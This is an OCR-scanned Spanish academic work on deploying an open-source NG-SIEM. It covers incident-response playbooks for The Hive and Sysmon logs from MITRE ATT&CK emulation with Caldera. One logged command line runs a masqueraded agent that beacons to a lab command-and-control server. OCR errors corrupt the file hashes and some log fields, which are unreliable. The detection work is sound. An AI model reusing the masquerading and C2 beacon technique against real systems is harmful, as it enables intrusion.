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1. Introduccion

La tecnologia e informacion son un pilar indispensable e indiscutido para la
operatoria de los negocios dado el contexto en el que vivimos. Junto a ello, podemos
identificar riesgos asociados a la productividad en conjunto a la eficacia y eficiencia.
Para promover sus facultades, es necesario preservarlas. Lo que significa que, al ser
unos de los activos mas importantes requieren garantizar una adecuada

concientizacién y control para su continuidad.

Las amenazas cibernéticas han evolucionado, no sélo a nivel de potencialidad,
sino también en su ofuscacion y proliferacion. Durante los ultimos afios, han existido
grandes brechas digitales en organizaciones de primer nivel, ya sea, por Odays,

amenazas no identificadas o salvaguardas no aplicadas, entre otros.

Un ejemplo claro de ello es el informe de IC3 [1] donde se expone claramente
amenazas tales como fraudes por correo electronico (U$D1.8 billones) y Ransomware
(U$D 29.1 millones) estos ultimos han aumentado considerablemente, produciendo
grandes pérdidas econdmicas.

En el dltimo Ransomware Threat Report de Palo Alto Networks [2], manifiestan
que el valor del rescate promedio pagado por organizaciones en Canad4, EEUU y
Europa aumenté de U$D115.123 en 2019 a U$D312.493 en 2020, un 171% de
incremento. Ademas, el rescate mas alto ha sido duplicado de 5 millones a 10 millones
de dolares en tan solo un afio. Es para destacar que las demandas de rescate de
MAZE fueron promedio U$D4.8 millones, un aumento significativo comparado con el

promedio de U$D847.344 de todas las familias de Ransomware en 2020.

Muchos de los grupos cibercriminales han realizado filtraciones de datos,
probablemente en un esfuerzo por presionar a organizaciones victima para que

paguen el rescate antes de una fecha limite.

Alvaro Yaquemet S
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1. United Kingdom 216,633 6. South Africa 1,754 11. Brazil 951  16. Nigeria 443
2. Canada 5,399 7. France 1,640 12. Philippines 898 17, Pakistan 443
3, India 2,930 8, Germany 1,578 13. italy 728 18, China a42
4, Greece 2,314 9. Mexico 1,164 14. Spain 618 19, Colombia 418
S. Australia 1,807 10. Belgium 1,023 15. Netherlands 50 20. Hong Kong 407

TOP 20 - Paises victimas - excluido Estados Unidos [1]

Las organizaciones invierten en ciberseguridad, pero las métricas muestran
que estan operando con supuestos que no coinciden con la realidad. Basado en M-
Trends 2020 [3], el tiempo promedio que lleva una organizacion a descubrir que ha
sido victima de una violacion de datos en 2019 es de 56 dias; esto significa que un
intruso podra estar en la red durante casi 2 meses antes que se tenga nocién sobre
ello. Se puede ver una mejora notable comparado en 2011 con 416 dias, aunque 56
dias sigue siendo mucho tiempo. Las organizaciones que acentdan cierta mora en la
respuesta ante incidentes son aquellas que siguen utilizando un enfoque tradicional

de la seguridad para defender sus activos.

La mejor manera para combatir esta desconexion es validar la efectividad del
programa de seguridad, a través de la evaluacion continua y automatizada,
optimizando y racionalizando los procesos criticos de negocio. Al enfrentarse a los
atacantes del mundo real, los equipos de seguridad pueden evaluar su propia
capacidad para detectar y responder a un escenario de atacante activo. Dicha
gimnasia permitira reducir los riesgos, identificandolos tempranamente para proteger
no solo los activos criticos sino también la reputacion y el valor econémico de la

organizacion.
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Sodinokibi (REvil)

Netwalker

Pysa

Ragnar_Locker

Darkside

Avaddon

suncrypt

Mount Locker

Organizaciones victima de Ransomware - Publicado en DarkWeb
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1.1 Reto de Seguridad

Es acertado considerar replantearse el modelo estratégico y de gestion de las
operaciones de ciberseguridad, a través de lo evidenciado durante el trabajo, se
demostrara cdmo implementar infraestructura util y viable (Open Source) junto al
framework MITRE ATT&CK. Para identificar, clasificar y salvaguardar los negocios de
la constante evolucion de amenazas, avanzando hacia un enfoque predictivo y

proactivo transformando las necesidades del negocio con la tecnologia.

1.2 Objetivo

Implementar sistemas que permitan explorar y evaluar la red, mediante una
solucion NG-SIEM, demostrar las ventajas que presenta para la identificacion y

prevencion proactiva de amenazas.

1.3 Objetos de Estudio

Next-Generation SIEM, Cyber Threat Intelligence, SOAR, MITRE ATT&CK
Framework, Advanced Adversary Emulation, EDR, TTP, Ransomware.

1.4 Alcance

Se utilizaran soluciones Open Source, entre ellas se encuentra Security Onion,
The Hive, Cortex, Sysmon, Wazuh, MISP, AIL, Caldera. También, se mostraran las
integraciones entre ellas y posibles usos en 4 equipos servidor de una misma red, para
demostrar mediante 2 equipos cliente lo planteado.

Alvaro Yaquemet 8
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2. Marco Tedrico

En este capitulo se plasmaran una serie de conceptos que se consideran

necesarios para la correcta comprension del presente trabajo.

2.1 SIEM

Security Information and Event Management es una solucion de software para
monitoreo de seguridad informatica que recopila y agrega datos de registros
generados por distintas fuentes tales como Firewall, IDS, Antivirus, Base de Datos,
etc.

Se encarga de otorgar informacion atil sobre las posibles amenazas de

seguridad a las que se enfrenta una organizacion.

El objetivo final de un SIEM es que sea capaz de detectar, responder y

neutralizar amenazas informéticas.

Hay varias razones para implementar un SIEM en una organizacion y entre

ellas se destacan:

- Supervision, gestién y retencion de eventos 24x7
- Deteccion y respuesta ante amenazas

- Validacién de la aplicacion de politicas

Hoy en dia, una solucion de este tipo cumple con un modelo de seguridad
tradicional donde se correlacionan eventos de distintos tipos de dispositivos con
indicadores conocidos. Pero este tipo de SIEM no es lo mejor para detectar ataques
desconocidos, comprender el comportamiento de una red y del usuario, analizar
voliumenes masivos de datos en tiempo real y tomar medidas inmediatas para eliminar
amenazas automaticamente antes de que dafien los sistemas de informacion de la

organizacion.

Alvaro Yaquemet 9
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2.2 NG-SIEM

Un SIEM de préxima generacion brinda proteccion contra amenazas
emergentes que no pueden detectarse con las formas y herramientas tradicionales de

deteccion de amenazas.

La implementacion de un NG-SIEM en una organizacion puede tener muchos
beneficios, tales como respuesta inmediata de incidentes, menos alertas de falsos
positivos, analisis del comportamiento de usuarios y del ciberespacio para realizar una

priorizacion mejor informada.

Una solucibn NG-SIEM debe tener la capacidad de procesar grandes
volumenes de informacion y variedad de datos, asi como correlacionarlos de manera
oportuna. También debe permitir una integracion mas rapida en la infraestructura
empresarial, incluir herramientas de visualizacién en tiempo real para comprender las
actividades de alto riesgo. Debe ser capaz de proporcionar un marco flexible para
detectar y priorizar escenarios de comportamiento significativos para el flujo de trabajo

de las operaciones de ciberseguridad.

Caracteristicas destacadas

Procesos y arquitectura estatica mejorada con algunas caracteristicas avanzadas

Tasa de alto rendimiento flexible y andlisis en tiempo real

Integracién con mdltiples soluciones de ciberinteligencia

Utiliza aprendizaje automatico e inteligencia artificial

Analiza en busca de ataques desconocidos, comportamiento del usuario, anomalias en la red, etc.
Facilita la automatizacion de alertas prioritarias, esto ayuda a utilizar el tiempo de manera eficiente

Puede analizar grandes voliumenes de datos

Recopilacién extraida del manual del evaluador [4]

Alvaro Yaquemet 10
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2.3 Deteccidon de anomalias

Son eventos, comportamiento, patrones que son inusuales o sospechosos. Por
ejemplo, si el comportamiento del usuario es inusual o sospechoso de su
comportamiento habitual, podemos averiguarlo inmediatamente antes de que se
convierta en una amenaza para la organizacion. Esta técnica se utiliza para detectar

amenazas desconocidas.

2.4 SOAR

Security Orchestration Automation and Response ayuda a coordinar, ejecutar
y automatizar tareas entre varias personas y herramientas. La orquestacion de las
operaciones de seguridad por medio de un SOAR facilita al NG-SIEM su uso para la
toma de decisiones impulsado por Big Data, lo que permite a los equipos de seguridad
tomar acciones mejor informados, esto significa menor cantidad de falsos positivos y

por ende, mejor tiempo de respuesta ante incidentes.

Ayuda a estandarizar el analisis de incidentes y los procedimientos de
respuesta. Entre sus usos, son prioridad la automatizacion de actividades de
respuesta para las consolas de seguridad informatica (EDR, Malware Sandbox, FW,
Anti-DDoS, Email Security, etc.).

Caracteristicas destacadas

Automatiza las tareas manuales repetitivas
Gestiona todos los aspectos del ciclo de vida de los incidentes de seguridad

Define el andlisis de incidentes y los procedimientos de respuesta

Prioriza, estandariza y escala los procesos de respuesta de una manera coherente, transparente y
documentada.

Identifica y asigna con rapidez y precision niveles de gravedad de incidentes a las alertas de
seguridad

Proporciona funcionalidades que facilitan la colaboracién y el seguimiento entre equipos y
miembros de equipo

Recopilacion extraida del sitio oficial de Palo Alto Networks [5]

Alvaro Yaquemet 11
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Beneficios:

- Mejora enormemente la postura de seguridad y la eficiencia operativa.

- Acelera la deteccion de incidentes de seguridad y los tiempos de
respuesta; estandariza las acciones de respuesta.

- Admite la colaboracion en tiempo real y las investigaciones no estructuradas.

- Aumenta la productividad de los analistas y centrandolos en mejorar la
seguridad en lugar de realizar tareas manuales.

- Aprovecha las inversiones en tecnologia de seguridad existentes.

2.5 Inteligencia de la amenaza

El centro de Tecnologias Emergentes de la Universidad Carnagie Mellon, la
define como: “La adquisicion y el analisis de informacion para identificar, rastrear y
predecir las capacidades, intenciones y actividades cibernéticas que apoye a la toma
de decisiones”. Es decir, que intenta procesar datos convirtiéndolos en informacién
para de esa manera se genere conocimiento que permita tomar acciébn mejor

informados.

Al otorgar contexto, por medio de informacion externa nos permite contar con
mayor visibilidad respecto a amenazas emergentes. Esto ayuda a estar al tanto de

ciberataques.
Inteligencia de la amenaza viable:

Oportuna: aborda los problemas que suceden en el momento o por suceder.

Precisa: tiene que ser representativo a la accion analizada.

Procesable: ser rige de estandares para la normalizacion.

Relevante: Su contenido tiene que ser de valor (adaptado) para el negocio.

Alvaro Yaquemet 12
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Atacantes Hacktivistas, Criminales Amenazas
Quién opartunistas, por grupos tipo nizados persistentes Estados
hoblby Anonymous E avanzadas
Robo de
" ropiedad
: > Beneficio .n P : :
) Disrupcicn, : intelectual, Disrupcion de
Curiosidad, humillacidn, SoLlinLLEt beneficio infragstructuras
Porqué malicia o través de fraude, A "
politica N economico a criticas
exborsion .
traviés de
espionaje
Hacking Denegaciones de Malware, Malware dirgida, Espionaje
Que ocasional, servicio, brechas troyanos, espionaje diplomético,
Comao defacemeant de seguridad ransomware corporativo ciber sabotaje
AMEnaTas qu ils] OCE MBCaskar
Mecessdad 98 detactar ¥ reaccsinar
Mas bajo Mas sofisticado

Ciberactores - Motivaciones ¢,Quién, por qué, que? [6]

2.6 Framework MITRE ATT&CK

Es un marco de inteligencia de amenazas que proporciona estructuras que
promueven una amplia comprension de cdmo actian los atacantes, las habilidades
que usan, dotandonos de conocimientos clave para intentar frenar ciberataques en

etapas tempranas [7].
El mismo se compone de tacticas, técnicas y procedimientos:

Acceso inicial, ejecucion, persistencia, escalamiento de privilegios, evasion de
defensas, acceso a credenciales, descubrimiento, movimiento lateral, recoleccion,

comando y control, exfiltracion e impacto.

Cada tactica contiene al menos una técnica que describe el comportamiento

del atacante.
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3. Analisis sobre Casos de Uso de un NG-SIEM

La respuesta ante incidentes requiere una cautelosa preparacion, asi como la

capacidad de identificar, contener y recuperarse de ciberataques.

Existen varios estdndares y pautas de respuesta ante incidentes. Los mas
famosos son NIST 800-61 Rev. 2 “Computer Security Incident Handling Guide”, ISO
27035:2016 “Information Security incident management”, SANS “Incident Response

Process”.

Ahora, paso a describir cada uno y resumir los enfoques propuestos en etapas

definidas para respuesta de incidentes.

La ISO 27035: 2016, trata fundamentalmente sobre redes y sistemas, no
aborda otras formas de informacién, como propiedad intelectual, patentes,

conocimiento, etc. La norma ISO 27035 propone cinco fases:

- Planificar y preparar

- Deteccion y notificacion
- Evaluacion y decision

- Respuesta

- Lecciones aprendidas

El proceso de respuesta a incidentes de SANS se centra mas en un
acontecimiento basado en malware tipico software evento y fue desarrollado
especialmente para la respuesta ante incidentes basada en computadoras en lugar
de incidentes de seguridad de la informacion. El proceso SANS IR consta de seis

etapas:

- Preparacion

- ldentificacion
- Contencién

- Erradicacion

- Recuperacion

- Lecciones aprendidas

La guia NIST 800-61 Rev.2 es de los estandares mas detallados que existen
abiertos al publico. Describe mas profundamente el proceso de respuesta ante

incidentes.
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Segun el documento del NIST, hay cuatro etapas principales de respuesta a

incidentes:

- Preparacion
- Deteccion y andlisis
- Contencion, erradicacion y recuperacion

- Actividad posterior al incidente

Debe quedar claro que no existe un patrén de oro para planificar la respuesta
ante incidentes de ciberseguridad. A raiz de ello, es que las distintas industrias han

llegado al punto de estar en desacuerdo sobre cudl seria el mejor enfoque.

Los casos de uso estan enfocados en las mejores practicas para afianzar la
metodologia de trabajo en respuesta ante incidentes, como asi también para la
unificacién de criterios de acuerdo con las tecnologias, procesos e implicancias que

existiesen.

Para ello, se confeccionaron en The Hive unas plantillas personalizables como
base para dar respuesta ante incidentes. El analista puede agregar tareas particulares

a los casos, segun la necesidad.

Es posible que determinadas tareas no apliquen a todos los incidentes.
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DETECTION i LESSONS
& CONTAINMENT ERADICATION : RECOVERY LEARNED
IDENTIFICATION | :

: PREPARATION :

Metodologia de trabajo con The Hive Project [8]

Dichas plantillas pueden complementarse y enriquecerse con el tiempo a
medida que el equipo vaya adquiriendo la experiencia necesaria.

3.1 Casos de Uso genéricos

3.1.1 Acceso no autorizado (hacking)

[IDEN] RI1: Identificar los sistemas afectados: IP interna, IP externa,
sistema operativo (Windows, Linux), tipo de servicio (Web, Correo, VPN, etc.),

software vulnerado (Apache, Tomcat, JBoss, Exchange, DNS bind, etc.).

[IDEN] RI2: Realizar un respaldo o copia del servidor afectado, para

posterior andlisis forense.

[IDEN] RI3: Recolectar los archivos de log del sistema operativo (Visor

de Eventos en caso de Windows o /var/log/* en caso de Linux).

[IDEN] RI4: Buscar en los eventos del SIEM hacia/desde la IP externa e

interna del servidor afectado.
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[IDEN] RI5: Revisar internamente si existe un andlisis de
vulnerabilidades del perimetro reciente para detectar posibles vulnerabilidades

existentes. Si no existe, coordinar un analisis de vulnerabilidades.

[CONT] RC2: En el caso de acceso del atacante, coordinar analisis

forense para descartar/confirmar movimientos laterales y persistencia.

[ERR] RE1: Si se confirma una vulnerabilidad expuesta, identificar si

esta presente en otros servidores para mitigarla.

[LECC] RL1: Lecciones aprendidas: ¢Qué faltd para detectar la

vulnerabilidad? ¢Qué faltd para detectar el acceso no autorizado?

3.1.2 DDoS

IDEN] RI1: Casos de DDOS:

— Aumento de trafico de entrada en los enlaces Internet, producto del
ataque el uso del enlace supera el 80% de su capacidad.

— Uso excesivo de CPU en los servidores, lo que afecta el tiempo de
respuesta para atender a los clientes validos.

— Uso excesivo de CPU en el firewall perimetral al procesar las politicas
de acceso. Este tipo de ataques pueden durar varios dias, incluso

semanas.

[IDEN] RI2: Identificar sistemas afectados: Si estamos ante un ataque

volumeétrico, afectara a todos los servicios que utilizan dicho enlace. Si el ataque
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s6lo afecta un servicio, debemos enfocarnos en los equipos involucrado en

dicho servicio.

[IDEN] RI3: Identificar el tipo de ataque, por ejemplo: protocolo utilizado
por la mayoria del tréfico (ICMP, UDP, TCP), puertos que son objeto del ataque
(HTTP, HTTPS, DNS, NTP, etc.).

[CONT] RC1: Evaluar acciones de mitigacion: Arbor on premise, Arbor
Cloud, CloudFlare, etc.

[LECC] RL1: Lecciones aprendidas: ¢, Cuanto tiempo nos demoramos en
saber que estabamos ante un ataque DDoS? ¢ Pudimos contener el ataque con

las tecnologias ya implementadas?

3.1.3 Malware

[IDEN] RI1: Se detecta presencia de posible cédigo malicioso en servidor

o0 estacion de trabajo.

[IDEN] RI2: Identificacion del sistema afectado: Por medio de un analisis
rapido (triage) identificar el tipo de infeccidén: gusano, Ransomware, etc. Indicar
datos del sistema afectado, fecha y hora de deteccion, una foto que contenga
los datos del archivo como: nombre, tamafio, fecha del sistema, etc.

[IDEN] RI3: Extraer muestras de los archivos maliciosos para analisis. Si
se trata de un script o archivo Word (vbs, powershell, docx, xlsx) realizar un
analisis rapido para identificar confirmar la presencia de malware (este analisis
debe ser realizado por un especialista). Si se trata de un archivo ejecutable
calcular el MD5 o0 SHA256 y buscar en el sitio de Virus Total.
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[IDEN] RI4: Identificar direcciones IP y nombres de dominio asociados

con el malware (si existen)

[IDEN] RI5: Si es posible, configurar un scan para identificar la presencia

y remover el malware.

[CONT] RC1: Enviar muestra del malware al proveedor antivirus para

gue genere antidoto.

[CONT] RC2: Cuando contemos con el antidoto se debe distribuir a
todas las estaciones de trabajo.

[CONT] RC3: Proceder con el bloqueo de los IOCs a nivel perimetral.

[CONT] RC4: Si contamos con la tecnologia que lo permite, aislar en
forma remota las estaciones de trabajo afectadas. Si no tenemos la tecnologia
para aislarlas en forma remota, debemos contar con personal en sitio o al
menos distribuir las instrucciones de como proceder ante un escenario de este

tipo.

[CONT] RC5: A partir de los Indicadores de Compromiso (entradas del
registro, nombre de servicios, hash de archivos, etc.) identificar otras

estaciones de trabajo posiblemente infectadas.

[ERR] RC1: Si el malware aprovecha una vulnerabilidad, debemos

aplicar el parche correspondiente para mitigarla.
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[ERR] RC2: Cargar antidotos en solucion antimalware.

[ERR] RC3: Si es necesario, ampliar la cobertura del software

antimalware.

[LECC] RL1: Lecciones aprendidas: Si el malware se propaga via
ingenieria social, debemos reforzar la sensibilizaciéon de los usuarios. Si el
malware aprovecha una vulnerabilidad de los sistemas, debemos revisar

nuestra politica de parcheo.

3.1.4 Phishing

[IDEN] RI1: Se detecta correo electronico con posible Phishing o se
observa en Internet sitio Web de phishing.

[IDEN] RI2: Obtener muestra del correo sospechoso o URL de sitio web.

[IDEN] RI3: Analizar correo electronico. Se recomienda analizar los
siguientes elementos: encabezado del correo, fecha y hora, dominio de origen,
IP de origen, fecha de creacion del dominio de origen, elementos dentro del
cuerpo del mensaje: archivos, URL, IPs, dominios.

[IDEN] RI4: Analizar sitio web. El objetivo es identificar si corresponde a

una suplantacion de sitio verdadero.
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[IDEN] RI5: Confirmar o descartar amenaza de phishing.

[IDEN] RI6: Identificar destinatarios que recibieron correo de phishing o

correo similar: buscar por asunto, origen, contenido.

[IDEN] RI7: Extraer IOC (archivos, URL, dominios, IPs).

[IDEN] RI8: Buscar en log de firewall, proxy de navegacion o en EDR

accesos a los I0C identificados.

[CONT] RC1: Cambiar contrasefias a usuarios afectados por el phishing,

activar doble factor de autenticacién en caso de que el usuario no lo tuviese.

[CONT] RC2: Bloguear IOC en controles de navegacion.

[CONT] RC3: Bloquear IOC en correo de entrada.

[ERR] RC1: Borrar correo electrénico que contiene el phishing de las

casillas de los usuarios afectados.

[REC] RR1: Evaluar y definir fecha en la cual se eliminaran bloqueos de

los I0Cs informados.

[LECC] RL1: Lecciones aprendidas: Si se estima necesario, reforzar la

sensibilizacion de los usuarios. ¢ Cual fue el control qué fall6?
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3.1.5 Anomalias

[IDEN] RI1: Se detecta anomalia de algun tipo, la puede detectar un

analista o la puede informar un cliente.

[IDEN] RI2: Identificar el tipo de anomalia, como se detectd, su
comportamiento, frecuencia, fecha y hora de comienzo. Tipos de anomalias:
aumento de trafico de red, intentos de acceso (login exitosos o fallidos), correo
electrénico sospechoso, procesos sospechosos en servidor o estacion de

trabajo.

[IDEN] RI3: Anomalias de trafico: obtener detalle de la anomalia,
comportamiento, mecanismo de deteccidn. Recolectar trafico para posterior

andlisis (tcpdump o Wireshark).

[IDEN] RI4: Anomalias de accesos: obtener detalle de la anomalia,
frecuencia, fecha de comienzo. Recolectar logs de sistemas para posterior
analisis.

[IDEN] RI5: Correo electronico andémalo: obtener detalle del correo

electronico, cantidad de correos similares, periodo en que llegaron los correos.

[IDEN] RI6: Procesos sospechosos: obtener nombre y ubicacién de los
procesos, fecha y hora de creacion, es posible obtener direcciones IP y puertos
asociados (conexiones), fecha del ejecutable.

[CONT] RC1: Resultados del analisis de la anomalia reportada.

[LECC] RL1: Lecciones aprendidas.
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3.1.6 Analisis Forense
IDEN] RI1: Se solicita andlisis forense, o se realiza andlisis forense

producto de una respuesta a incidente.

[IDEN] RI2: Indicar tipo de Forense: malware, robo de informacion,
hacking, phishing.

[IDEN] RI3: Indicar antecedentes del incidente: fecha y hora, activos

afectados, aplicaciones, usuarios.

[IDEN] RI4: Evidencia recolectada.

[IDEN] RI5: Resultados del andlisis forense.

[CONT] RC1: Recomendaciones y conclusiones.

[CONT] RC2: Realimentar sistemas con IOC obtenidos.

[LECC] RL1: Lecciones aprendidas.

3.1.7 Fuga de informacion

[IDEN] RI1: Se sospecha de fuga de informacion.
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[IDEN] RI2: Identificar el tipo de informacion y el repositorio de la

informacion.

[IDEN] RI3: Indicar porqué se sospecha de la fuga

[IDEN] RI4: Obtener registros de acceso a la informacion

[IDEN] RI5: Resultados del andlisis

[LECC] RL1: Lecciones aprendidas

3.1.8 Vulnerabilidad expuesta

[IDEN] RI1: Se identifica vulnerabilidad de alto riesgo expuesta a Internet

[IDEN] RI2: Identificar plataforma (sistema operativo, aplicacion,

version)

[IDEN] RI3: Identificar impacto de la vulnerabilidad

[IDEN] RI4: Confirmar presencia de la vulnerabilidad

[CONT] RI1: Aplicar parcheo
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[CONT] RI2: Confirmar mitigacion de la vulnerabilidad

[LECC] RL1: Lecciones aprendidas

3.1.9 Aumento de Amenaza

[IDEN] RI1: Por medio de inteligencia de la amenaza se detecta aumento

de amenazas.

[IDEN] RI2: Indicar fuente y descripcidon de la amenaza

[IDEN] RI3: Investigar riesgos y posibles mitigaciones

[LECC] RL1: Lecciones aprendidas

3.1.10 Hunting

[IDEN] RI1: Hunting periédico o a solicitud.

[LECC] RL1: Lecciones aprendidas.

Alvaro Yaquemet 25



Demostracion del uso de una soluciéon NG-SIEM

3.1.11 Business Email Compromise (BEC)

[IDEN] RI1: Alerta de Informacion confidencial en Mercado Negro.

[IDEN] RI2: Indicar fuente y descripcion de la amenaza

[IDEN] RI3: Investigar riesgos y posible mitigacion

[LECC] RL1: Lecciones aprendidas

Idealmente, las tareas de respuesta ante incidentes deben planearse de
antemano, integrarse con proyectos de seguridad y probar lo suficiente, practicando
dichas tareas con equipos internos y externalizados. Lo esencial es saber y practicar
las responsabilidades de antemano.
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3.2 Casos de uso basados en MITRE ATT&CK

Se utiliz6 como base el framework de MITRE ATT&CK para emular una serie
de ataques referidos a TTPs conocidos. Dicho framework, presenta una matriz dividida
por columnas (Ver Anexo C), en la cual cada columna es una tactica (el porqué, el
objetivo técnico) o técnica (el como, las acciones a realizar) que un posible atacante

podria accionar para intentar una intrusion.

FINISHED 20200704 21:19:03 | | 10 DECISIONS

- - - D -
3

Cadena de ataque ejecutada con Caldera

Dichas TTPs, desembocan en multiples posibles escenarios que a su vez es
posible establecer distintos casos de uso dependiendo del contexto, con lo cual esto

prevé casos de uso adaptables al ejercicio de simulacion que se requiera evaluar.
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Deteccion de TTPs:

T1031 - Modify Existing Service

ProcessCreate)

@Informat\on 77472020 4:25:28 PM Sysmon 7 Image loaded (rule: ImageLoad)
(i) Information 7/4/2020 42508 PM Sysmaon 7 Image loaded (rule: Imagel oad)
<

Event 1, Sysmon

General Details

Process Create:

RuleName: technique_id=T1031,technique_name=Maodify Existing Service
UtcTime: 2020-07-04 19:31:06.003

ProcessGuid: {29244aea-d&fa-5f00-821f-000000002000}
Procescld: 11192

Image: C:AWindows\System32\sc.exe

FileVersion: 10.0.18362.1 (WinBuild.160101.0800)

Description: Service Control Manager Configuration Tool
Product: Microsoft® Windows® Operating System
Company: Micrasoft Corporation

OriginalFileMame: sc.exe

\Windows\system32\sc.exe start wuausery
CurrentDirectory: C\Windows\system324

User: NT AUTHORITVASYSTEM

LogonGuid: {29244aea-b3ed-5efa-e703-000000000000}
Logonld: 0x3E7

TerminalSessionld: 0

IntegrityLevel: System

Hashes: SHA1=0937FAB1F3A34287C44B11C3CB18A9G4FFEC24983, MD5=E46C638010C23479F6EBACBES336CATE, SHA256=39C59C362649090B4D 34E5C8221CEEBE552COTFE2DF3478D591AGSB70317BC0A, IMPHASH=
35ATFFDE18D444A92D32C8B2879450FF

ParentProcessGuid: {20244aea-b3e5-5¢fa- 1800-000000002000}
ParentProcessld: 924

T1036 - Masquerading

<

Event 1, Sysmon

General Details

Process Create:

RuleName: technique_id=T1036 technique_name=Masquerading
UtcTime: 2020-07-04 23:44:34.997

ProcessGuid: {29244aea- 1462-5f01-d120-000000002000}
Processld: 3904

Image: C:\Users\Public\splunkd.exe

FileVersion: -

Description: -

Product: -

Company: -

OriginalFileName: -

CommandLine: "C:\Users\Publicisplunkd.exe" -server http://10.10.10.116:2882 -group red
CurrentDirectory: C:\Windows\system32\

User: WINTOAUser-

LogonGuid: {29244aea-b0a5-5efa-f32a-1c0000000000}

Logonld: Ox1C2AF3

TerminalSessionld: 1

IntegrityLevel: High

Hashes: SHA1=11DF3CD025CED2232020AFTEDB59346496E4241 B, MD3=4AAC4143487A1828F C416CBDEAAAZEBF, SHAZ36= AO2ED4833CH4FFORAD74F1ATE358B 1FBO4TCTECE1 502E51624AFEED44982ECO3, IMPHASH=
1CD364A0E943D5ECEBDECE14EG4BCS45

ParentProcessGuid: {29244aea-0942-5f01-6020-000000002000}
ParentProcessid: 10284

T1044 - File System Permissions Weakness

@\nformat\on 7/4/2020 10:35:05 PM Sysmon 12 Registry object added or deleted (rule: RegistryEvent)
@\nfurmatmn 77472020 10:33:05 PM Sysmon 12 Registry object added or deleted (rule: RegistryEvent)
@\nfurmatmn 77472020 10:33:05 PM Sysmon 12 Registry object added or deleted (rule: RegistryEvent)
(i) Information 7/4/2020 10:35:04 PM Sysmon 1 Process Create (rule: ProcessCreate)

(i) Information T/4/2020 10:35:04 PM Sysmaon 1 Process Create (rule: ProcessCreate)

®\nformat\on 7/4/2020 10:34:48 PM Sysmon 22 Dns query (rule: DnsQuery)

<

Event 11, Sysmon

General  Details

File created:

RuleMarme: technique_id=T1044 technique_name=File System Permissions Weakness
UteTime: 2020-07-05 01:35:13.964

ProcessGuid: {29244aea-2e48-5f01-7421-000000002000)

Processid: 2452

Image: C:\Windows\system32\msiexec.exe

TargetFilename: C:\Windows\Temp'.~DFD8BD7E2D6120B35E. TMP

CreationUtcTime: 2020-07-05 01:35:13.964
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T1047 - Windows Management Instrumentation

T/472020 6:17:42 PM Sysmon 1 Process Create (rule: ProcessCreate)
@Im’urmation T/4/2020 6:17:42 PM Sysmon 7 Image loaded (rule: Imageload)
@Infmmatinn 77472020 6:16:38 PM Sysmon 5 Process terminated (rule: ProcessTerminate)
(Dlm’urmation T/4/2020 6:16:19 PM Sysmen 7 Image loaded (rule: Imageload)

<

Event 1, Sysmon

General Details

Process Create:

RuleMame: technique_id=T1047 technique_name=Windows Management Instrumentation
UtcTime: 2020-07-04 21:17:42.890

ProcessGuid: {29244aea-f1f6- 5f00-51F-000000002000}

Processld: 13196

Image: C:\Windows\System32\whem\WmiPrv5E.exe

FileVersion: 10.0.18362.1 (WinBuild.160701.0800)

Description: WMI Provider Host

Product: Microsoft® Windows® Operating System

Company: Microsoft Corporation

OriginalFileName: Wmiprvse.exe

CommandLine: C\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
CurrentDirectory: CAWindows!systern32\,

User: NT AUTHORITY\NETWORK SERVICE

LogonGuid: {29244aea-b3ed- 5efa-e403-000000000000}

Logenld: 0x3E4

TerminalSessionld: 0

IntegrityLevel: System

Hashes: SHA1=51B8646308EEDBGBAD1F7F1291B85395434DE494, MD3=801E8003C257CAF340B20F1EODECD3AG, SHA2 56
=A75CE5F3B0BYYI3E9C042FBE2ECBTTSVERFAG0EDE0R5FCTI91 CAASBAGDEOFS0C, IMPHASH= CC058866636CC184AD452FEBEE39360A
ParentProcessGuid: {29244aea-b3ed- 5efa-1000-000000002000}

ParentProcessld: 832

T1053 - Scheduled Task/Job

Sysmon 7 Image loaded (n
157 PM Sysmon

@Infnrmatinn 77472020 8: 5 Process terminated (rule: ProcessTq

<

Event 7, Sysmon

General  Details

Image loaded:

RuleMame: technique_id=1033,technique_name=>5cheduled Task

UtcTime: 2020-07-04 23:40:31.858

ProcessGuid: {29244aea-1365-5f01-c420-000000002000}

Processld: 13580

Image: CA\Windows\System32\taskhostw.exe

Imagel oaded: C:\Windows\Systern32\taskschd.dll

FileVersion: 10.0.18362.900 (WinBuild.160101.0800)

Description: Task Scheduler COM API

Product: Microsoft® Windows® Operating System

Company: Microsoft Corporation

OriginalFileMame: taskschd.dll

Hashes: SHA1=060D963AE3CTA04A0A6C45D627A392CCDTCI430C MD5=EC602D0F56D2AABEFECE2BEFD41F379B, SHAZ56
=B2202952542D7A3748540F8A2E25BAT5B1DEF53A068ED39ABBE938DBEIGEI 0, IMPHASH=FBE0BAS20577AF6580A72850C26BDFD5
Signed: true

Signature: Microseft Windows

SignatureStatus: Valid

T1070 - Indicator Removal on Host

7/4/2020 10:36:30 PM
7/4/2020 10:36:29 PM

(i) Informatien 1 Process Create (rule: ProcessCreate)

(1) Information
@Informatlon
(i) Information

T/4/2020 10:36:28 PM
7/4/2020 10:36:28 PM

7 Image loaded (rule: Imagel oad)
7 Image loaded (rule: Imageload)

7 Image loaded (rule: Imageload)
<

Event 1, Sysmon

General Details

Process Create:

RuleName: technique_id=T1070,technique_name=Indicator Removal on Host
UtcTime: 2020-07-05 01:36:30.227

ProcessGuid: {29244aea-2e9e-5f01-7d21-000000002000}

Processld: 14120

Image: C:\Windows\System32\wevtutil.exe

FileVersion: 10.0.18362.1 (WinBuild.160101.0800)

Description: Eventing Command Line Utility

Product: Microsoft® Windows® Operating System

Company: Microsoft Corporation

OriginalFileName: wevtutil.exe

CornmandLine: "C\Windows\system3Z\wevtutil.exe" im "C\Program Files\PowerShel\6\PowerShell. Core.Instrumentation.man” "/rf:C\Program Files\PowerShel\&\PowerShell.Core.Instrumentation.dll” "/mf:C:
\Program Files\PowerShell\6\PowerShell. Core.Instrumentation.dll”
CurrentDirectory: C:\Windows\SysWOWG\

User: NT AUTHORITY\SYSTEM

LogonGuid: {29244aea- b3 ed-5efa-e703-000000000000}

Logonld: 0x3E7

TerminalSessionld: 1

IntegrityLevel: System

Hashes: SHA1=B326DA71B18EFE153F2EEA3BADEBG4ACBAADFC3E, MD5=53748B0CD4CT8AFSEF1DAETTF3CBT3AF, SHA256=E16B9D201ECT1 DYE29B3AD532A9ADBF1 AEDCB5821BB916ATIF6DBEB1CAEBBESFA, IMPHASH=
34BC1195516E78393351 B444DFE43666

ParentProcessGuid: {20244aea-7e8e-56011-7a21-000D0DON200NNY
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T1073 - DLL Side-Loading

"1 Information
@Informat\on 74472020 10:21:22 PM Sysmon 1
